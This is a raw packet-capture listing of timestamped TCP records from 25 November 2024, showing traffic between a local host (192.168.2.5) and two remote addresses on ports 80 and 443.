Nov 25, 2024 14:14:42.441699028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.441749096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.441953897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.442020893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.442914009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.442961931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.443406105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.443459988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.443490982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.443556070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.447786093 CET	443	49822	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.447982073 CET	443	49822	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.448131084 CET	49822	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.448162079 CET	49822	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.448179007 CET	443	49822	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.448180914 CET	49822	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.448188066 CET	443	49822	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.453548908 CET	49841	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.453582048 CET	443	49841	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.453666925 CET	49841	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.454246044 CET	49841	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.454260111 CET	443	49841	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.467700005 CET	443	49823	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.467758894 CET	443	49823	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.467911959 CET	49823	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.468099117 CET	49823	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.468126059 CET	443	49823	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.468173027 CET	49823	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.468180895 CET	443	49823	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.471566916 CET	49842	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.471600056 CET	443	49842	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.471673012 CET	49842	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.471896887 CET	49842	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.471911907 CET	443	49842	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.502099991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.502178907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.502197027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.502255917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.502835035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.502885103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.503331900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.503405094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.503633976 CET	443	49825	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.503710032 CET	443	49825	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.503779888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.503799915 CET	49825	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.503818989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.503910065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.503966093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.504076004 CET	49825	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.504091978 CET	443	49825	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.504102945 CET	49825	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.504107952 CET	443	49825	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.504858017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.504916906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.505182981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.505247116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.505281925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.505331039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.506300926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.506364107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.506424904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.506542921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.507215023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.507280111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.507488966 CET	49843	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.507505894 CET	443	49843	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.507576942 CET	49843	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.507606030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.507649899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.507742882 CET	49843	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.507755995 CET	443	49843	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.508394957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.508445978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.508456945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.508529902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.509037971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.509088039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.509243011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.509293079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.509728909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.509778976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.509993076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.510099888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.510585070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.510651112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.510677099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.510700941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.511584044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.511636019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.511673927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.511718988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.512844086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.512906075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.512967110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.513638020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.513681889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.513720036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.513745070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.514693975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.514749050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.514875889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.515074968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.515871048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.515923977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.515961885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.516026974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.516814947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.516866922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.516999006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.517076969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.517899990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.517946959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.577014923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.577105045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.577162981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.577203989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.577529907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.577552080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.577573061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.577591896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.578577995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.578632116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.578871965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.578915119 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.579730034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.579786062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.579807043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.579830885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.580749035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.580805063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.581011057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.581064939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.581985950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.582031965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.582484961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.582535982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.582905054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.582962990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.583318949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.583386898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.584072113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.584145069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.584218979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.584265947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.585735083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.585800886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.585961103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.586062908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.586899042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.586947918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.587327957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.587377071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.588012934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.588076115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.588311911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.588366985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.588947058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.588999987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.589186907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.589236975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.589751005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.589822054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.589854002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.589895010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.590673923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.590728998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.590846062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.591113091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.591639042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.591694117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.591787100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.591936111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.592820883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.592879057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.593637943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.593693018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.593931913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.593981981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.594624996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.594686031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.595010042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.595032930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.595082045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.595916986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.595968008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.596075058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.596122980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.596898079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.596951008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.597431898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.597491980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.597851038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.598026991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.598097086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.598145962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.598927021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.598973036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.599129915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.599179029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.600024939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.600075960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.600421906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.600474119 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.601150036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.601201057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.601455927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.601681948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.602098942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.602149010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.602603912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.602649927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.603214025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.603271961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.603365898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.603451967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.604255915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.604305983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.604463100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.604512930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.605350018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.605459929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.606312037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.606368065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.606472969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.606585026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.606698990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.606750011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.607532978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.607644081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.607696056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.608524084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.608577967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.608664989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.608733892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.609618902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.609690905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.609783888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.609829903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.610703945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.610775948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.610850096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.610903978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.611721992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.611772060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.628552914 CET	443	49826	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.629148006 CET	49826	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.629173040 CET	443	49826	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.629651070 CET	49826	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.629656076 CET	443	49826	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.639607906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.639710903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.639729977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.639786005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.640014887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.640028954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.640077114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.640109062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.640717030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.640778065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.641217947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.641340971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.641820908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.641869068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.641902924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.641952038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.712047100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.712135077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.712470055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.712522030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.712567091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.712580919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.712626934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.713764906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.713826895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.713856936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.713936090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.714715958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.714787006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.714922905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.715039015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.715765953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.715816021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.715817928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.715857983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.716957092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.717089891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.717145920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.717890978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.717938900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.717964888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.718008041 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.718976974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.719011068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.719036102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.719059944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.720024109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.720072985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.720410109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.720455885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.721118927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.721175909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.721198082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.721237898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.722161055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.722325087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.722368956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.723297119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.723465919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.723516941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.724308014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.724369049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.724447966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.724489927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.725454092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.725507975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.725857019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.725902081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.726479053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.726505995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.726551056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.727591038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.727649927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.727698088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.727746964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.728612900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.728739977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.728975058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.729054928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.778172970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.778237104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.778419971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.778678894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.778712034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.778753996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.778906107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.778944969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.779596090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.779649019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.779844046 CET	80	49760	185.215.113.206	192.168.2.5
